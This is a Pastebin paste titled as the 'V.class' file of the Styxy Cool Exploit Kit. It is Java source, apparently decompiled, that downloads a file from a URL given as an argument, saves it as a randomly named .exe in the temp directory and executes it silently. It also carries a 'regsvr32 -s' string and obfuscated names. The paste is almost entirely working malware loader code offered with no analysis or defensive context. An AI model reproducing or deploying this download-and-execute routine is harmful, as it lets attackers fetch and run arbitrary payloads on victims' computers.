Advertisement
SecurityObscurity

V.class file Styxy Cool Exploit Kit

Jul 24th, 2013
1,481
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.39 KB | None | 0 0
  1. import java.io.ByteArrayOutputStream;
  2. import java.io.FileOutputStream;
  3. import java.io.IOException;
  4. import java.io.InputStream;
  5. import java.net.URL;
  6.  
  7. public class V
  8. {
  9.     public static String zxvxZvXZV = "regsvr32 -s ";
  10.  
  11.     public static void main(String[] args)
  12.     {
  13.         //b34btbztdb0vavaw
  14.         String localException = System.getProperty("java.io.tmpdir");
  15.         String ss = localException + "b34btbztdb0vavaw.exe";
  16.  
  17.         // Download routine
  18.         ByteArrayOutputStream bais = new ByteArrayOutputStream();
  19.         InputStream is = null;
  20.         try {
  21.  
  22.           URL url = new URL(args[0]);
  23.           is = url.openStream();
  24.           byte[] byteChunk = new byte[4096];
  25.           int n;
  26.  
  27.           while ((n = is.read(byteChunk)) > 0)
  28.           {
  29.             bais.write(byteChunk, 0, n);
  30.           }
  31.  
  32.         }
  33.         finally
  34.         {
  35.           if (is != null)
  36.               is.close();
  37.         }
  38.  
  39.         // Write on file and execute it
  40.         try
  41.         {
  42.           // ByteArrayStream to an Array of Bytes
  43.           byte[] ar = bais.toByteArray();
  44.  
  45.           FileOutputStream out = new FileOutputStream(ss);
  46.           out.write(ar);
  47.           out.close();
  48.  
  49.         } catch (Exception e) {
  50.           e.printStackTrace();
  51.         }
  52.  
  53.         Runtime r = Runtime.getRuntime();
  54.  
  55.         try {
  56.           r.exec(ss);
  57.         }
  58.         catch (Exception localException2) {}
  59.  
  60.  
  61.  
  62.     }
  63. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement